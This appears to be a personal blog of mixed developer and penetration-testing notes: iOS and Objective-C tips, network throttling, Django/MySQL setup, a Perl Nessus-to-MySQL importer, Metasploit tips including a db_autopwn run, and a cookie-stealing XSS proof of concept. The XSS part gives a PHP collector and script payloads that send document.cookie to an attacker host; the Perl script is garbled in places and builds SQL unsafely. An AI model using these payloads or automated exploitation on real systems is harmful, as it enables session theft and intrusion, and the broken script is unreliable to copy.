iOS Auto resizing subviews

I have the parent view: self.view and a subview: UIImageView *pinView.

I would like pinView resize when self.view becomes resized.  To accomplish this:

[pinView setAutoresizingMask:UIViewAutoresizingFlexibleWidth|UIViewAutoresizingFlexibleHeight];

Early attempts that did NOT work:

[self.view setAutoresizesSubviews:YES];

[self.view setAutoresizingMask:UIViewAutoresizingFlexibleWidth|UIViewAutoresizingFlexibleHeight];

You will need to apply the autoresize mask to the subview you want resized.

Simulate Slow Connection / Throttling Connection

Helpful command to test against low connections (mimicking 3G or worse):

OSX:

sudo ipfw add pipe 1 src-port http
ipfw pipe 1 config delay 200 bw 300kbit/s

To restore your connection:

ipfw flush

IOS 6 TWTweetComposeViewController canSendTweet Bug

[TWTweetComposeViewController canSendTweet]  seems to be returning false always on iOS6.  Anyone have additional information or experiencing the same problems?

Online Regular Expression Tester

Nice online Regular Expression tester:

http://www.gskinner.com/RegExr/

What do I have to do to get Core Data to automatically migrate models?

http://stackoverflow.com/questions/1018155/what-do-i-have-to-do-to-get-core-data-to-automatically-migrate-models

Using Kindle Fire as an Android Dev test device

http://mobile.tutsplus.com/tutorials/android/getting-started-with-kindle-fire-development/

Drawable mutations

http://www.curious-creature.org/2009/05/02/drawable-mutations/

Modifying one drawable when you do not want to modify another.

Enable/Disable slow motion on iPhone/iPad Simulator

Shift + Ctrl

Optimizing SSD on OSX

http://poller.se/2010/08/optimizing-mac-os-x-for-ssd-drives/

Django and MySQL for Python on OSX Lion

Assuming Python and MySQL is already installed:

References:

http://birdhouse.org/blog/2009/02/21/python-mysql-connections-on-mac-os/

http://mechanicalgirl.com/post/installing-django-with-mysql-on-mac-os-x/

python setup.py build

sh: mysql_config: command not found

Traceback (most recent call last):

File "setup.py", line 15, in

metadata, options = get_config()

File "/Users/dean/Downloads/MySQL-python-1.2.3/setup_posix.py", line 43, in get_config

libs = mysql_config("libs_r")

File "/Users/dean/Downloads/MySQL-python-1.2.3/setup_posix.py", line 24, in mysql_config

raise EnvironmentError("%s not found" % (mysql_config.path,))

EnvironmentError: mysql_config not found

If you are experiencing this error, follow these steps found here to resolve:

Excerpt:

In my case, I edited the setup_posix.py thusly:

# mysql_config.path = "mysql_config" mysql_config.path = "/usr/local/mysql-5.0.45-osx10.4-i686/bin/mysql_config"  

Re-issue command:

python setup.py clean

ARCHFLAGS='-arch x86_64' python setup.py build

ARCHFLAGS='-arch x86_64' python setup.py install

sudo ln -s /usr/local/mysql/lib/ /usr/local/mysql/lib/mysql

Then test:

>>> import MySQLdb

Objective-C rightMouseDown event

Subclassing NSView, use the following method to invoke the right mouse down / control click event:

-(void) mouseDown:(NSEvent *)event{

if (event.modifierFlags & NSControlKeyMask)

return [self rightMouseDown:event];

}

Metasploit Reference

Metasploit reference:

http://www.securityaegis.com/the-big-fat-metasploit-post/

Import Nessus nbe into Mysql

Discovered this post here from Michael Holstein:

http://lists.sans.org/pipermail/unisog/2006-February/025993.html

There is needed modification to get it working from 2006, here is the whole deal. Tested against BT4 (I know I'm behind). To run the script:

cat [nessus nbe file] | ./nessusimport.pl

Now, to get things set up see below. I apologize for the current formatting:

1. Create MYSQL database and create these tables:

CREATE TABLE ipmain (    idmain int(10) unsigned NOT NULL auto_increment,    mainip int(10) unsigned NOT NULL default '0',    lastnmap datetime NOT NULL default '0000-00-00 00:00:00',    lastnessus datetime NOT NULL default '0000-00-00 00:00:00',    ipowner varchar(40) default NULL,    PRIMARY KEY  (idmain),    KEY xip (mainip) ) TYPE=MyISAM;  
CREATE TABLE nessusresults (    idnessus int(10) unsigned NOT NULL auto_increment,    domain varchar(15) NOT NULL default '',    nessushost int(10) unsigned NOT NULL default '0',    service varchar(40) NOT NULL default '',    scriptid int(10) unsigned NOT NULL default '0',    risk tinyint(3) unsigned NOT NULL default '0',    timestamp datetime NOT NULL default '0000-00-00 00:00:00',    msg text,    PRIMARY KEY  (idnessus),    KEY xidnessus (idnessus),    KEY knessushost (nessushost),    KEY knessushost2 (nessushost,service) ) TYPE=MyISAM;  
CREATE TABLE nessusstats (    idstat int(10) unsigned NOT NULL auto_increment,    domain varchar(15) NOT NULL default '',    nessushost int(10) unsigned NOT NULL default '0',    service varchar(40) NOT NULL default '',    scriptid int(10) unsigned NOT NULL default '0',    risk tinyint(3) unsigned NOT NULL default '0',    timestamp datetime NOT NULL default '0000-00-00 00:00:00',    PRIMARY KEY  (idstat),    KEY xidstat (idstat),    KEY kstat (nessushost),    KEY kstst2 (nessushost,service) ) TYPE=MyISAM;

----------------------

2. Create the following perl script:

#!/usr/bin/perl

use Net::SMTP;

use Date::Manip;

our $TZ = 'US/Eastern';

use DBI();

#####DATABASE PARAMETERS#####

$DATABASE="DB GOES HERE";

$HOST="HOSTNAME GOES HERE";

$USERNAME="DB USERNAME GOES HERE";

$PASSWORD="DB PASSWORD GOES HERE";

#connect to the database server

#DBI->trace(1, "trace.log"); #uncomment to log all DBI stuff

$dbh = DBI->connect("DBI:mysql:database=$DATABASE;host=$HOST",

$USERNAME, $PASSWORD, {'RaiseError' => 1}) || die "Unable to connect:

$dbh->errstr\n";

######MAIN PROGRAM LOOP######

while ( )

{

@results = split '\||\|\|';

@results[6] =~ tr/;/\n/;

@results[6] =~ tr/"/'/;

@results[5] = "7";

#print @results[6];

# if(@results[6] =~ "Risk factor :\\\\n\\\\nCritical"){print @results[6];}

if(@results[6] =~ "Risk factor :\\\\n\\\\nCritical") {@results[5] = '1';}

if(@results[6] =~ "Risk factor :\\\\n\\\\nSerious") {@results[5] = '1';}

if(@results[6] =~ "Risk factor :\\\\n\\\\nHigh") {@results[5] = '1';}

if(@results[6] =~ "Risk factor :\\\\n\\\\nMedium") {@results[5] = '2';}

if(@results[6] =~ "Risk factor :\\\\n\\\\nMedium/Low") {@results[5] = '2';}

if(@results[6] =~ "Risk factor :\\\\n\\\\nLow/Medium") { @results[5] = '3';}

if(@results[6] =~ "Risk factor :\\\\n\\\\nLow") { @results[5] = '3';}

# @results[5] = '1' if (@results[6] =~ "Risk factor : Critical");

# @results[5] = '1' if (@results[6] =~ "Risk factor : Serious");

# @results[5] = '1' if (@results[6] =~ "Risk factor : High");

# @results[5] = '2' if (@results[6] =~ "Risk factor : Medium");

# @results[5] = '2' if (@results[6] =~ "Risk factor : Medium/Low");

# @results[5] = '3' if (@results[6] =~ "Risk factor : Low/Medium");

# @results[5] = '3' if (@results[6] =~ "Risk factor : Low");

@results[6] =~ `Risk factor : Critical`;

@results[6] =~ `Risk factor : High`;

@results[6] =~ `Risk factor : Serious`;

@results[6] =~ `Risk factor : Medium`;

@results[6] =~ `Risk factor : Medium/Low`;

@results[6] =~ `Risk factor : Low/Medium`;

@results[6] =~ `Risk factor : Low`;

for (@results[0]) { s/^\s+//;s/\s+$//; }

for (@results[1]) { s/^\s+//;s/\s+$//; }

for (@results[2]) { s/^\s+//;s/\s+$//; }

for (@results[3]) { s/^\s+//;s/\s+$//; }

for (@results[4]) { s/\

for (@results[5]) { s/^\s+//;s/\s+$//; }

for (@results[6]) { s/^\s+//;s/\s+$//;s/\'/\\'/g;}

my $ip = &dot2dec(@results[2]);

next unless ($ip > 0);

$timestamp = UnixDate(@results[4], '%Y-%m-%d %H:%M:%S');

&findmainip($ip);

#condition 1 (entry is a timestamp for end of host scan)

if (@results[0] eq "timestamps" and @results[3] =~ 'host_end|host_start') {

&updatemainip($ip,$timestamp);

#print "Condition 1 Matched\n";

}

#condition 2 (entry is a result record)

#print "testing: " . @results[0] ." and results 5: ".@results[5] . "\n";

if (@results[0] eq "results" and @results[5] < 7) {

&findnessustimestamp($ip);

&updatenessus(@results[1],$ip, @results[3], @results[4], @results[5], @nessustime[1], @results[6]);

&updatestats(@results[1],$ip, @results[3], @results[4], @results[5], @nessustime[1]);

}

else {

next;

}

}

#####GLOBAL SUBROUTINES#####

#turn dotted quad into decimal

sub dot2dec {

my $address = @_[0];

($a, $b, $c, $d) = split '\.', $address;

$decimal = $d + ($c * 256) + ($b * 256**2) + ($a * 256**3);

return $decimal;

}

#turn decimal into dotted

sub dec2dot {

my $address = @_[0];

$d = $address % 256; $address -= $d; $address /= 256;

$c = $address % 256; $address -= $c; $address /= 256;

$b = $address % 256; $address -= $b; $address /= 256;

$a = $address;

$dotted="$a.$b.$c.$d";

return $dotted;

}

#find IP in master table

sub findmainip {

my $query = $dbh->prepare("select idmain,mainip from ipmain

where mainip = '@_[0]'");

$query->execute || die "Unable to locate IP in table ipmain:

$dbh->errstr\n";

@mainip = $query->fetchrow_array;

return @mainip;

}

#update/add IP&timestamp in master table

sub updatemainip {

my $query = $dbh->prepare("select * from ipmain where

mainip=@_[0]");

$query->execute || die "Unable to locate IP in table ipmain:

$dbh->errstr\n";

@mainip = $query->fetchrow_array;

if (@mainip[0]) {

$dbh->do("update ipmain set lastnessus='@_[1]' where

idmain='@mainip[0]'") || die "problem with updatemainip 1:$dbh->errstr\n";

# print "updated values lastnessus=@_[1] where idmain=@mainip[0]\n";

}

else {

$dbh->do("insert into ipmain (mainip,lastnessus) values

('@_[0]','@_[1]')") || die "problem with updatemainip 2:$dbh->errstr\n";

# print "inserted values mainip=@_[0], lastnessus=@_[1]\n";

}

return;

}

#find last nessus timestamp for some IP

sub findnessustimestamp {

my $query = $dbh->prepare("select idmain,lastnessus from ipmain

where mainip='@_[0]'") || die "problem with findnessustimestamp:

$dbh->errstr\n";

$query->execute || die "Unable to locate nessus timestamp in

table ipmain: $dbh->errsrt\n";

@nessustime = $query->fetchrow_array;

return @nessustime;

}

#update/add nessus results records in nessusresults table

sub updatenessus {

my $query = $dbh->prepare("select * from nessusresults where nessushost='@_[1]' and scriptid='@_[3]'") || die "problem with updatenessus 1:$dbh->errstr\n";

print "prepared";

$query->execute || die "Unable to locate record in NessusResults: $dbh->errstr\n";

print "executed";

@nessus = $query->fetchrow_array;

if (@nessus[0]) {

$dbh->do("update nessusresults set domain='@_[0]',

nessushost='@_[1]', service='@_[2]', scriptid='@_[3]', risk='@_[4]',

timestamp='@_[5]', msg='@_[6]' where idnessus='@nessus[0]'") || die

"problem with updatenessus 2: $dbh->errstr\n";

# print "updated values domain=@_[0], host=@_[1], service=@_[2], script=@_[3], risk=@_[4], time=@_[5], msg=@_[6]\n";

}

else {

$dbh->do("insert into nessusresults

(domain,nessushost,service,scriptid,risk,timestamp,msg) values

('@_[0]','@_[1]','@_[2]','@_[3]','@_[4]','@_[5]','@_[6]')") || die

"problem with updatenessus 3: $dbh->errstr\n";

# print "inserted values domain=@_[0], host=@_[1], service=@_[2], script=@_[3], risk=@_[4], time=@_[5], msg=@_[6]\n";

}

return;

}

sub updatestats {

$dbh->do("insert into nessusstats

(domain,nessushost,service,scriptid,risk,timestamp) values

('@_[0]','@_[1]','@_[2]','@_[3]','@_[4]','@_[5]')") || die "problem with

updatestats 1: $dbh->errsrt\n";

# print "inserted stats values domain=@_[0], host=@_[1], service=@_[2], script=@_[3], risk=@_[4], time=@_[5]\n";

return;

}

Exploit exception: Login Failed: The server responded with unimplemented command 0 with WordCount 0

If experiencing in Metasploit (for example utilizing MS08-067)

" Exploit exception: Login Failed: The server responded with unimplemented command 0 with WordCount 0 "

Try:

> set SMBDirect false

Facts and Myths about Anti-Virus Evasion

http://schierlm.users.sourceforge.net/avevasion.html

Pentest bookmarks

http://code.google.com/p/pentest-bookmarks/wiki/BookmarksList

Another way of removing AV

Accessing OSX and iOS Syslog via ASL

http://www.cocoanetics.com/2011/03/accessing-the-ios-system-log/

Metasploit db_autopwn (Postgres)

Step 1: Get/view active database driver.

msf exploit(psexec) > db_driver

[*] Active Driver: postgresql

[*] Available: postgresql

[*] DB Support: Enable the mysql driver with the following command:

[*] $ gem install mysql

[*] This gem requires mysqlclient headers, which can be installed on Ubuntu with:

[*] $ sudo apt-get install libmysqlclient-dev

Step 2: Connect to the local database.

msf exploit(psexec) > db_connect postgres@localhost

NOTICE: CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"

NOTICE: CREATE TABLE will create implicit sequence "clients_id_seq" for serial column "clients.id"

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "clients_pkey" for table "clients"

NOTICE: CREATE TABLE will create implicit sequence "services_id_seq" for serial column "services.id"

...

Step 3: nmap, enumerate the services of target system(s)

msf exploit(psexec) > db_nmap [target]

[*] Nmap: Starting Nmap 5.21 ( http://nmap.org ) at 2011-05-06 15:55 EDT

[*] Nmap: Nmap scan report for [target])

[*] Nmap: Host is up (0.021s latency).

[*] Nmap: Not shown: 995 filtered ports

[*] Nmap: PORT STATE SERVICE

[*] Nmap: 25/tcp open smtp

[*] Nmap: 110/tcp open pop3

[*] Nmap: 143/tcp open imap

[*] Nmap: 443/tcp open https

[*] Nmap: 993/tcp open imaps

Step 4: auto exploit

msf exploit(psexec) > db_autopwn -p -t -e -b

How to steal cookies via XSS

This is a proof of concept demonstrating the the fundamental of stealing cookies via XSS:

There are two parts:

1. The attacker's server that will store the stolen credentials.
2. The vulnerable server that we will be injecting into to steal the session.

Part 1:
This is the code on the server for storing credentials (in PHP). The filename is "malicious.php"

$fp = fopen("/tmp/tokens.txt", "w");
fwrite($fp, $_GET['code']);
fclose($fp);

As you can see, all the server code is take in a $_GET request, and writes the attribute 'code' from the $_GET request variable.

Part 2:

In a server that is vulnerable to XSS, input the following malicious code:

<script>new Image().src='[malicious_host]/malicious.php?code='%2Bdocument.cookie</script>

or

<script>document.write('<img src="http://localhost/~dliu/malicious.php?code='%2Bdocument.cookie%2B'">')</script>

The following code creates an image with the source pointing to our malicious server. The request populates the GET variable "code" which the server is expecting to read and write.